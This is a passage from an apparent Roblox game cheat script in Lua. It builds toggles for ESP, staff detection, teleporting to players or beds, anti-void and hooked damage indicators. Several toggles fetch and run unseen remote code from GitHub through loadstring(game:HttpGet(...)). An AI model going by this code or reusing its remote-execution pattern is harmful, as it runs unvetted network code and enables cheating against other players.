  4104. local InstanceUI
  4105. local Value = false
  4106.  
  4107. DropDownButton.Activated:Connect(function()
  4108. Value = not Value
  4109.  
  4110. if Value == true then
  4111. InstanceUI = CreateMiniToggle(UtilityTab, "Kick", Settings.AntiStaff.Kick, LayoutOrder + 2, function(CallBack)
  4112. Settings.AntiStaff.Kick = CallBack
  4113. end)
  4114. end
  4115.  
  4116. if Value == false then
  4117. InstanceUI:Destroy()
  4118. end
  4119. end)
  4120. end)
  4121. end)
  4122.  
  4123. task.spawn(function()
  4124. local StaffDetector, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Staff Detector V2", Settings.AutoBuy.Value, function(CallBack)
  4125. Settings.StaffDetector.Value = CallBack
  4126.  
  4127. if Settings.StaffDetector.Value == true then
  4128. loadstring(game:HttpGet("https://raw.githubusercontent.com/cocotv666/script/main/Coco_Staff_Detector"))()
  4129. end
  4130.  
  4131. if Settings.StaffDetector.Value == false then
  4132. CreateNotification(3, "Close at next round")
  4133. end
  4134. end)
  4135.  
  4136. task.spawn(function()
  4137. local InstanceUI
  4138. local Value = false
  4139.  
  4140. DropDownButton.Activated:Connect(function()
  4141. Value = not Value
  4142.  
  4143. if Value == true then
  4144. InstanceUI = CreateKeyBind(UtilityTab, Settings.StaffDetector.KeyBind, LayoutOrder + 1, function(CallBack)
  4145. Settings.StaffDetector.KeyBind = CallBack
  4146. end)
  4147. end
  4148.  
  4149. if Value == false then
  4150. InstanceUI:Destroy()
  4151. end
  4152. end)
  4153. end)
  4154.  
  4155. task.spawn(function()
  4156. UserInputService.InputBegan:Connect(function(Input)
  4157. if not UserInputService:GetFocusedTextBox() then
  4158. if Input.KeyCode.Name == Settings.StaffDetector.KeyBind then
  4159. Settings.StaffDetector.Value = not Settings.StaffDetector.Value
  4160.  
  4161. if Settings.StaffDetector.Value == true then
  4162. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4163. end
  4164.  
  4165. if Settings.StaffDetector.Value == false then
  4166. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4167. end
  4168. end
  4169. end
  4170. end)
  4171. end)
  4172. end)
  4173.  
  4174. task.spawn(function()
  4175. local AutoBuy, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoBuy", Settings.AutoBuy.Value, function(CallBack)
  4176. Settings.AutoBuy.Value = CallBack
  4177. end)
  4178.  
  4179. task.spawn(function()
  4180. local InstanceUI
  4181. local Value = false
  4182.  
  4183. DropDownButton.Activated:Connect(function()
  4184. Value = not Value
  4185.  
  4186. if Value == true then
  4187. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoBuy.KeyBind, LayoutOrder + 1, function(CallBack)
  4188. Settings.AutoBuy.KeyBind = CallBack
  4189. end)
  4190. end
  4191.  
  4192. if Value == false then
  4193. InstanceUI:Destroy()
  4194. end
  4195. end)
  4196. end)
  4197.  
  4198. task.spawn(function()
  4199. UserInputService.InputBegan:Connect(function(Input)
  4200. if not UserInputService:GetFocusedTextBox() then
  4201. if Input.KeyCode.Name == Settings.AutoBuy.KeyBind then
  4202. Settings.AutoBuy.Value = not Settings.AutoBuy.Value
  4203.  
  4204. if Settings.AutoBuy.Value == true then
  4205. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4206. end
  4207.  
  4208. if Settings.AutoBuy.Value == false then
  4209. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4210. end
  4211. end
  4212. end
  4213. end)
  4214. end)
  4215. end)
  4216.  
  4217. task.spawn(function()
  4218. local AutoKit, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoKit", Settings.AutoKit.Value, function(CallBack)
  4219. Settings.AutoKit.Value = CallBack
  4220. end)
  4221.  
  4222. task.spawn(function()
  4223. local InstanceUI
  4224. local Value = false
  4225.  
  4226. DropDownButton.Activated:Connect(function()
  4227. Value = not Value
  4228.  
  4229. if Value == true then
  4230. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoKit.KeyBind, LayoutOrder + 1, function(CallBack)
  4231. Settings.AutoKit.KeyBind = CallBack
  4232. end)
  4233. end
  4234.  
  4235. if Value == false then
  4236. InstanceUI:Destroy()
  4237. end
  4238. end)
  4239. end)
  4240.  
  4241. task.spawn(function()
  4242. UserInputService.InputBegan:Connect(function(Input)
  4243. if not UserInputService:GetFocusedTextBox() then
  4244. if Input.KeyCode.Name == Settings.AutoKit.KeyBind then
  4245. Settings.AutoKit.Value = not Settings.AutoKit.Value
  4246.  
  4247. if Settings.AutoKit.Value == true then
  4248. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4249. end
  4250.  
  4251. if Settings.AutoKit.Value == false then
  4252. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4253. end
  4254. end
  4255. end
  4256. end)
  4257. end)
  4258. end)
  4259.  
  4260. task.spawn(function()
  4261. local Fov, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Fov", Settings.Fov.Value, function(CallBack)
  4262. Settings.Fov.Value = CallBack
  4263.  
  4264. if Settings.Fov.Value == true then
  4265. FovController:setFOV(Settings.Fov.Fov)
  4266. end
  4267.  
  4268. if Settings.Fov.Value == false then
  4269. FovController:setFOV(ClientHandlerStore:getState().Settings.fov)
  4270. end
  4271. end)
  4272.  
  4273. task.spawn(function()
  4274. local InstanceUI
  4275. local Value = false
  4276.  
  4277. DropDownButton.Activated:Connect(function()
  4278. Value = not Value
  4279.  
  4280. if Value == true then
  4281. InstanceUI = CreateKeyBind(UtilityTab, Settings.Fov.KeyBind, LayoutOrder + 1, function(CallBack)
  4282. Settings.Fov.KeyBind = CallBack
  4283. end)
  4284. end
  4285.  
  4286. if Value == false then
  4287. InstanceUI:Destroy()
  4288. end
  4289. end)
  4290. end)
  4291.  
  4292. task.spawn(function()
  4293. UserInputService.InputBegan:Connect(function(Input)
  4294. if not UserInputService:GetFocusedTextBox() then
  4295. if Input.KeyCode.Name == Settings.Fov.KeyBind then
  4296. Settings.Fov.Value = not Settings.Fov.Value
  4297.  
  4298. if Settings.Fov.Value == true then
  4299. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4300. end
  4301.  
  4302. if Settings.Fov.Value == false then
  4303. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4304. end
  4305. end
  4306. end
  4307. end)
  4308. end)
  4309.  
  4310. task.spawn(function()
  4311. local InstanceUI
  4312. local Value = false
  4313.  
  4314. DropDownButton.Activated:Connect(function()
  4315. Value = not Value
  4316.  
  4317. if Value == true then
  4318. InstanceUI = CreateSlider(UtilityTab, "Fov", Settings.Fov.Fov, 120, LayoutOrder + 2, function(CallBack)
  4319. Settings.Fov.Fov = CallBack
  4320.  
  4321. if Settings.Fov.Value == true then
  4322. FovController:setFOV(Settings.Fov.Fov)
  4323. end
  4324. end)
  4325. end
  4326.  
  4327. if Value == false then
  4328. InstanceUI:Destroy()
  4329. end
  4330. end)
  4331. end)
  4332. end)
  4333.  
  4334. task.spawn(function()
  4335. local Esp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Esp", Settings.Esp.Value, function(CallBack)
  4336. Settings.Esp.Value = CallBack
  4337.  
  4338. if Settings.Esp.Value == true then
  4339. task.spawn(function()
  4340. for i, v in next, PlayerService:GetPlayers() do
  4341. if IsAlive(v) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4342. CreateOutline(v)
  4343. end
  4344.  
  4345. v.CharacterAdded:Connect(function(Character)
  4346. task.wait(0.3)
  4347.  
  4348. if Settings.Esp.Value == true and IsAlive(PlayerService:FindFirstChild(Character.Name)) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4349. CreateOutline(v)
  4350. end
  4351. end)
  4352. end
  4353. end)
  4354.  
  4355. task.spawn(function()
  4356. PlayerService.PlayerAdded:Connect(function(Player)
  4357. Player.CharacterAdded:Connect(function()
  4358. task.wait(0.3)
  4359.  
  4360. if Settings.Esp.Value == true and IsAlive(Player) and Player ~= LocalPlayer and not Player.Character.PrimaryPart:FindFirstChild("Esp") then
  4361. CreateOutline(Player)
  4362. end
  4363. end)
  4364. end)
  4365. end)
  4366. end
  4367.  
  4368. if Settings.Esp.Value == false then
  4369. for i, v in next, PlayerService:GetPlayers() do
  4370. if IsAlive(v) and CallBack == false and v.Character.PrimaryPart:FindFirstChild("Esp") then
  4371. v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
  4372. end
  4373. end
  4374. end
  4375. end)
  4376.  
  4377. task.spawn(function()
  4378. local InstanceUI
  4379. local Value = false
  4380.  
  4381. DropDownButton.Activated:Connect(function()
  4382. Value = not Value
  4383.  
  4384. if Value == true then
  4385. InstanceUI = CreateKeyBind(UtilityTab, Settings.Esp.KeyBind, LayoutOrder + 1, function(CallBack)
  4386. Settings.Esp.KeyBind = CallBack
  4387. end)
  4388. end
  4389.  
  4390. if Value == false then
  4391. InstanceUI:Destroy()
  4392. end
  4393. end)
  4394. end)
  4395.  
  4396. task.spawn(function()
  4397. UserInputService.InputBegan:Connect(function(Input)
  4398. if not UserInputService:GetFocusedTextBox() then
  4399. if Input.KeyCode.Name == Settings.Esp.KeyBind then
  4400. Settings.Esp.Value = not Settings.Esp.Value
  4401.  
  4402. if Settings.Esp.Value == true then
  4403. task.spawn(function()
  4404. for i, v in next, PlayerService:GetPlayers() do
  4405. if IsAlive(v) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4406. CreateOutline(v)
  4407. end
  4408.  
  4409. v.CharacterAdded:Connect(function(Character)
  4410. task.wait(0.3)
  4411.  
  4412. if Settings.Esp.Value == true and IsAlive(PlayerService:FindFirstChild(Character.Name)) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4413. CreateOutline(v)
  4414. end
  4415. end)
  4416. end
  4417. end)
  4418.  
  4419. task.spawn(function()
  4420. PlayerService.PlayerAdded:Connect(function(Player)
  4421. Player.CharacterAdded:Connect(function()
  4422. task.wait(0.3)
  4423.  
  4424. if Settings.Esp.Value == true and IsAlive(Player) and Player ~= LocalPlayer and not Player.Character.PrimaryPart:FindFirstChild("Esp") then
  4425. CreateOutline(Player)
  4426. end
  4427. end)
  4428. end)
  4429. end)
  4430.  
  4431. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4432. end
  4433.  
  4434. if Settings.Esp.Value == false then
  4435. task.spawn(function()
  4436. for i, v in next, PlayerService:GetPlayers() do
  4437. if IsAlive(v) and v.Character.PrimaryPart:FindFirstChild("Esp") then
  4438. v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
  4439. end
  4440. end
  4441. end)
  4442.  
  4443. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4444. end
  4445. end
  4446. end
  4447. end)
  4448. end)
  4449. end)
  4450.  
  4451. task.spawn(function()
  4452. local GalaxySky, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "GalaxySky", Settings.GalaxySky.Value, function(CallBack)
  4453. Settings.GalaxySky.Value = CallBack
  4454.  
  4455. if Settings.GalaxySky.Value == true then
  4456. if LightingService:FindFirstChild("Sky") and Settings.GalaxySky.Value == true then
  4457. LightingService.Sky.Parent = ReplicatedStorage
  4458.  
  4459. local Sky = Instance.new("Sky")
  4460. local ID = 8281961896
  4461.  
  4462. Sky.SkyboxBk = "http://www.roblox.com/asset/?id=" .. ID
  4463. Sky.SkyboxDn = "http://www.roblox.com/asset/?id=" .. ID
  4464. Sky.SkyboxFt = "http://www.roblox.com/asset/?id=" .. ID
  4465. Sky.SkyboxLf = "http://www.roblox.com/asset/?id=" .. ID
  4466. Sky.SkyboxRt = "http://www.roblox.com/asset/?id=" .. ID
  4467. Sky.SkyboxUp = "http://www.roblox.com/asset/?id=" .. ID
  4468.  
  4469. Sky.Parent = LightingService
  4470. end
  4471. end
  4472.  
  4473. if Settings.GalaxySky.Value == false then
  4474. if ReplicatedStorage:FindFirstChild("Sky") and LightingService:FindFirstChild("Sky") and Settings.GalaxySky.Value == false then
  4475. LightingService.Sky:Destroy()
  4476.  
  4477. ReplicatedStorage.Sky.Parent = LightingService
  4478. end
  4479. end
  4480. end)
  4481.  
  4482. task.spawn(function()
  4483. local InstanceUI
  4484. local Value = false
  4485.  
  4486. DropDownButton.Activated:Connect(function()
  4487. Value = not Value
  4488.  
  4489. if Value == true then
  4490. InstanceUI = CreateKeyBind(WorldTab, Settings.GalaxySky.KeyBind, LayoutOrder + 1, function(CallBack)
  4491. Settings.GalaxySky.KeyBind = CallBack
  4492. end)
  4493. end
  4494.  
  4495. if Value == false then
  4496. InstanceUI:Destroy()
  4497. end
  4498. end)
  4499. end)
  4500.  
  4501. task.spawn(function()
  4502. UserInputService.InputBegan:Connect(function(Input)
  4503. if not UserInputService:GetFocusedTextBox() then
  4504. if Input.KeyCode.Name == Settings.GalaxySky.KeyBind then
  4505. Settings.GalaxySky.Value = not Settings.GalaxySky.Value
  4506.  
  4507. if Settings.GalaxySky.Value == true then
  4508. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4509. end
  4510.  
  4511. if Settings.GalaxySky.Value == false then
  4512. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4513. end
  4514. end
  4515. end
  4516. end)
  4517. end)
  4518. end)
  4519.  
  4520. task.spawn(function()
  4521. local MobileGui, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Mobile Gui", Settings.Reach.Value, function(CallBack)
  4522. Settings.MobileGui.Value = CallBack
  4523.  
  4524. if Settings.MobileGui.Value == true then
  4525. loadstring(game:HttpGet("https://raw.githubusercontent.com/cocotv666/script/main/Coco_mobile_Gui_flyscript"))()
  4526. end
  4527.  
  4528. if Settings.MobileGui.Value == false then
  4529. CreateNotification(3, "Close at next round")
  4530. end
  4531. end)
  4532.  
  4533. task.spawn(function()
  4534. local InstanceUI
  4535. local Value = false
  4536.  
  4537. DropDownButton.Activated:Connect(function()
  4538. Value = not Value
  4539.  
  4540. if Value == true then
  4541. InstanceUI = CreateKeyBind(WorldTab, Settings.MobileGui.KeyBind, LayoutOrder + 1, function(CallBack)
  4542. Settings.MobileGui.KeyBind = CallBack
  4543. end)
  4544. end
  4545.  
  4546. if Value == false then
  4547. InstanceUI:Destroy()
  4548. end
  4549. end)
  4550. end)
  4551.  
  4552. task.spawn(function()
  4553. UserInputService.InputBegan:Connect(function(Input)
  4554. if not UserInputService:GetFocusedTextBox() then
  4555. if Input.KeyCode.Name == Settings.MobileGui.KeyBind then
  4556. Settings.MobileGui.Value = not Settings.MobileGui.Value
  4557.  
  4558. if Settings.MobileGui.Value == true then
  4559. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4560. end
  4561.  
  4562. if Settings.MobileGui.Value == false then
  4563. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4564. end
  4565. end
  4566. end
  4567. end)
  4568. end)
  4569. end)
  4570.  
  4571. task.spawn(function()
  4572. local Indicators, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Indicators", Settings.Indicators.Value, function(CallBack)
  4573. Settings.Indicators.Value = CallBack
  4574.  
  4575. local OldObj = debug.getupvalue(DamageIndicator, 10)
  4576.  
  4577. if Settings.Indicators.Value == true then
  4578. local Messages = {"INF", "Best Config", "Nightmare Script", "EZ"}
  4579.  
  4580. debug.setupvalue(DamageIndicator, 10, {
  4581. Create = function(self, obj, ...)
  4582. task.spawn(function()
  4583. if Settings.Indicators.Value == true then
  4584. local Message = Messages[math.random(#Messages)]
  4585.  
  4586. obj.Parent.Text = Message
  4587. obj.Parent.TextColor3 = Color3.fromHSV(tick() % 10 / 10, 2, 2)
  4588.  
  4589. task.spawn(function()
  4590. task.wait(0.75)
  4591.  
  4592. if Settings.Indicators.Value == true then
  4593. obj.Parent:Destroy()
  4594. end
  4595. end)
  4596. end
  4597. end)
  4598. end
  4599. })
  4600. end
  4601.  
  4602. if Settings.Indicators.Value == false then
  4603. debug.setupvalue(DamageIndicator, 10, {
  4604. Create = function(self, obj, ...)
  4605. obj = OldObj
  4606.  
  4607. task.spawn(function()
  4608. task.wait(0.5)
  4609. obj.Parent:Destroy()
  4610. end)
  4611. end
  4612. })
  4613. end
  4614. end)
  4615.  
  4616. task.spawn(function()
  4617. local InstanceUI
  4618. local Value = false
  4619.  
  4620. DropDownButton.Activated:Connect(function()
  4621. Value = not Value
  4622.  
  4623. if Value == true then
  4624. InstanceUI = CreateKeyBind(WorldTab, Settings.Indicators.KeyBind, LayoutOrder + 1, function(CallBack)
  4625. Settings.Indicators.KeyBind = CallBack
  4626. end)
  4627. end
  4628.  
  4629. if Value == false then
  4630. InstanceUI:Destroy()
  4631. end
  4632. end)
  4633. end)
  4634.  
  4635. task.spawn(function()
  4636. UserInputService.InputBegan:Connect(function(Input)
  4637. if not UserInputService:GetFocusedTextBox() then
  4638. if Input.KeyCode.Name == Settings.Indicators.KeyBind then
  4639. Settings.Indicators.Value = not Settings.Indicators.Value
  4640.  
  4641. if Settings.Indicators.Value == true then
  4642. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4643. end
  4644.  
  4645. if Settings.Indicators.Value == false then
  4646. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4647. end
  4648. end
  4649. end
  4650. end)
  4651. end)
  4652. end)
  4653.  
  4654. task.spawn(function()
  4655. local targetHud, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "targetHud", Settings.Sigma.Value, function(CallBack)
  4656. Settings.Sigma.Value = CallBack
  4657.  
  4658. if Settings.targetHud.Value == true then
  4659. loadstring(game:HttpGet("https://raw.githubusercontent.com/Nightmaretv666/script/main/Nightmare_target_hud"))()
  4660. end
  4661.  
  4662. if Settings.targetHud.Value == false then
  4663. CreateNotification(3, "Close at next round")
  4664. end
  4665. end)
  4666.  
  4667. task.spawn(function()
  4668. local InstanceUI
  4669. local Value = false
  4670.  
  4671. DropDownButton.Activated:Connect(function()
  4672. Value = not Value
  4673.  
  4674. if Value == true then
  4675. InstanceUI = CreateKeyBind(WorldTab, Settings.targetHud.KeyBind, LayoutOrder + 1, function(CallBack)
  4676. Settings.targetHud.KeyBind = CallBack
  4677. end)
  4678. end
  4679.  
  4680. if Value == false then
  4681. InstanceUI:Destroy()
  4682. end
  4683. end)
  4684. end)
  4685.  
  4686. task.spawn(function()
  4687. UserInputService.InputBegan:Connect(function(Input)
  4688. if not UserInputService:GetFocusedTextBox() then
  4689. if Input.KeyCode.Name == Settings.targetHud.KeyBind then
  4690. Settings.targetHud.Value = not Settings.targetHud.Value
  4691.  
  4692. if Settings.targetHud.Value == true then
  4693. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4694. end
  4695.  
  4696. if Settings.targetHud.Value == false then
  4697. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4698. end
  4699. end
  4700. end
  4701. end)
  4702. end)
  4703. end)
  4704.  
  4705. task.spawn(function()
  4706. local AntiVoid, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "AntiVoid", Settings.AntiVoid.Value, function(CallBack)
  4707. Settings.AntiVoid.Value = CallBack
  4708.  
  4709. if Settings.AntiVoid.Value == true then
  4710. task.spawn(function()
  4711. repeat task.wait() until GetMatchState() ~= 0
  4712.  
  4713. task.wait(0.3)
  4714.  
  4715. local OldLowestPosition = math.huge
  4716. local LowestPosition = 99999
  4717.  
  4718. local BlockRaycastParameters = RaycastParams.new()
  4719.  
  4720. BlockRaycastParameters.FilterType = Enum.RaycastFilterType.Include
  4721. BlockRaycastParameters.FilterDescendantsInstances = CollectionService:GetTagged("block")
  4722.  
  4723. AntiVoidPart = Instance.new("Part")
  4724. AntiVoidPart.Parent = WorkSpace
  4725. AntiVoidPart.Material = Enum.Material.Neon
  4726. AntiVoidPart.Name = "AntiVoidPart"
  4727. AntiVoidPart.Size = Vector3.new(99999, 1, 99999)
  4728. AntiVoidPart.Position = Vector3.new(0, 99999, 0)
  4729. AntiVoidPart.Transparency = Settings.AntiVoid.Transparency
  4730. AntiVoidPart.Color = Color3.new(0.666667, 0, 1)
  4731. AntiVoidPart.CanCollide = false
  4732. AntiVoidPart.Anchored = true
  4733.  
  4734. for i, v in next, CollectionService:GetTagged("block") do
  4735. local NewRay = WorkSpace:Raycast(v.Position + Vector3.new(0, 800, 0), Vector3.new(0, -1000, 0), BlockRaycastParameters)
  4736.  
  4737. if NewRay then
  4738. LowestPosition = NewRay.Position.Y
  4739. if LowestPosition < OldLowestPosition then
  4740. OldLowestPosition = LowestPosition
  4741.  
  4742. AntiVoidPart.Position = Vector3.new(0, LowestPosition - 4, 0)
  4743. end
  4744. end
  4745. end
  4746.  
  4747. AntiVoidPart.Touched:Connect(function()
  4748. if IsAlive(LocalPlayer) and AntiVoidPart and LocalPlayer.Character.PrimaryPart.Position.Y <= WorkSpace.AntiVoidPart.Position.Y then
  4749. for i = 1, 3 do
  4750. if IsAlive(LocalPlayer) then
  4751. LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, 100, LocalPlayer.Character.PrimaryPart.Velocity.Z)
  4752. end
  4753. end
  4754. end
  4755. end)
  4756. end)
  4757. end
  4758.  
  4759. if Settings.AntiVoid.Value == false then
  4760. if AntiVoidPart then
  4761. AntiVoidPart:Destroy()
  4762. end
  4763. end
  4764. end)
  4765.  
  4766. task.spawn(function()
  4767. local InstanceUI
  4768. local Value = false
  4769.  
  4770. DropDownButton.Activated:Connect(function()
  4771. Value = not Value
  4772.  
  4773. if Value == true then
  4774. InstanceUI = CreateKeyBind(WorldTab, Settings.AntiVoid.KeyBind, LayoutOrder + 1, function(CallBack)
  4775. Settings.AntiVoid.KeyBind = CallBack
  4776. end)
  4777. end
  4778.  
  4779. if Value == false then
  4780. InstanceUI:Destroy()
  4781. end
  4782. end)
  4783. end)
  4784.  
  4785. task.spawn(function()
  4786. UserInputService.InputBegan:Connect(function(Input)
  4787. if not UserInputService:GetFocusedTextBox() then
  4788. if Input.KeyCode.Name == Settings.AntiVoid.KeyBind then
  4789. Settings.AntiVoid.Value = not Settings.AntiVoid.Value
  4790.  
  4791. if Settings.AntiVoid.Value == true then
  4792. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4793. end
  4794.  
  4795. if Settings.AntiVoid.Value == false then
  4796. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4797. end
  4798. end
  4799. end
  4800. end)
  4801. end)
  4802.  
  4803. task.spawn(function()
  4804. local InstanceUI
  4805. local Value = false
  4806.  
  4807. DropDownButton.Activated:Connect(function()
  4808. Value = not Value
  4809.  
  4810. if Value == true then
  4811. InstanceUI = CreateSlider(WorldTab, "Transparency", Settings.AntiVoid.Transparency * 100, 100, LayoutOrder + 2, function(CallBack)
  4812. Settings.AntiVoid.Transparency = CallBack / 100
  4813.  
  4814. task.spawn(function()
  4815. if AntiVoidPart then
  4816. AntiVoidPart.Transparency = Settings.AntiVoid.Transparency
  4817. end
  4818. end)
  4819. end)
  4820. end
  4821.  
  4822. if Value == false then
  4823. InstanceUI:Destroy()
  4824. end
  4825. end)
  4826. end)
  4827. end)
  4828.  
  4829. task.spawn(function()
  4830. local PlayerTp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "PlayerTp", Settings.PlayerTp.Value, function(CallBack)
  4831. Settings.PlayerTp.Value = CallBack
  4832.  
  4833. task.spawn(function()
  4834. if Settings.PlayerTp.Value == true then
  4835. if IsAlive(LocalPlayer) then
  4836. repeat task.wait() until GetMatchState() ~= 0
  4837.  
  4838. local NearestPlayer = FindNearestPlayer()
  4839.  
  4840. if NearestPlayer ~= nil then
  4841. KillHumanoid()
  4842.  
  4843. LocalPlayer.CharacterAdded:Connect(function()
  4844. repeat task.wait() until IsAlive(LocalPlayer)
  4845.  
  4846. if IsAlive(LocalPlayer) and Settings.PlayerTp.Value == true then
  4847. task.wait(0.15)
  4848.  
  4849. TweenToNearestPlayer()
  4850. end
  4851. end)
  4852. end
  4853. end
  4854.  
  4855. if not IsAlive(LocalPlayer) then
  4856. LocalPlayer.CharacterAdded:Connect(function()
  4857. repeat task.wait() until IsAlive(LocalPlayer)
  4858.  
  4859. if IsAlive(LocalPlayer) and Settings.PlayerTp.Value == true and FindNearestPlayer() then
  4860. task.wait(0.25)
  4861.  
  4862. TweenToNearestPlayer()
  4863. end
  4864. end)
  4865. end
  4866. end
  4867. end)
  4868. end)
  4869.  
  4870. task.spawn(function()
  4871. local InstanceUI
  4872. local Value = false
  4873.  
  4874. DropDownButton.Activated:Connect(function()
  4875. Value = not Value
  4876.  
  4877. if Value == true then
  4878. InstanceUI = CreateKeyBind(WorldTab, Settings.PlayerTp.KeyBind, LayoutOrder + 1, function(CallBack)
  4879. Settings.PlayerTp.KeyBind = CallBack
  4880. end)
  4881. end
  4882.  
  4883. if Value == false then
  4884. InstanceUI:Destroy()
  4885. end
  4886. end)
  4887. end)
  4888.  
  4889. task.spawn(function()
  4890. UserInputService.InputBegan:Connect(function(Input)
  4891. if not UserInputService:GetFocusedTextBox() then
  4892. if Input.KeyCode.Name == Settings.PlayerTp.KeyBind then
  4893. Settings.PlayerTp.Value = not Settings.PlayerTp.Value
  4894.  
  4895. if Settings.PlayerTp.Value == true then
  4896. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4897. end
  4898.  
  4899. if Settings.PlayerTp.Value == false then
  4900. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4901. end
  4902. end
  4903. end
  4904. end)
  4905. end)
  4906. end)
  4907.  
  4908. task.spawn(function()
  4909. local BedTp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "BedTp", Settings.BedTp.Value, function(CallBack)
  4910. Settings.BedTp.Value = CallBack
  4911.  
  4912. task.spawn(function()
  4913. if Settings.BedTp.Value == true then
  4914. if IsAlive(LocalPlayer) then
  4915. repeat task.wait() until GetMatchState() ~= 0
  4916.  
  4917. local NearestPlayer = FindNearestPlayer()
  4918.  
  4919. if NearestPlayer ~= nil then
  4920. KillHumanoid()
  4921.  
  4922. LocalPlayer.CharacterAdded:Connect(function()
  4923. repeat task.wait() until IsAlive(LocalPlayer)
  4924.  
  4925. if IsAlive(LocalPlayer) and Settings.BedTp.Value == true then
  4926. task.wait(0.15)
  4927.  
  4928. TweenToNearestBed()
  4929. end
  4930. end)
  4931. end
  4932. end
  4933.  
  4934. if not IsAlive(LocalPlayer) then
  4935. LocalPlayer.CharacterAdded:Connect(function()
  4936. repeat task.wait() until IsAlive(LocalPlayer)
  4937.  
  4938. if IsAlive(LocalPlayer) and Settings.BedTp.Value == true and FindNearestPlayer() then
  4939. task.wait(0.25)
  4940.  
  4941. TweenToNearestBed()
  4942. end
  4943. end)
  4944. end
  4945. end
  4946. end)
  4947. end)
  4948.  
  4949. task.spawn(function()
  4950. local InstanceUI
  4951. local Value = false
  4952.  
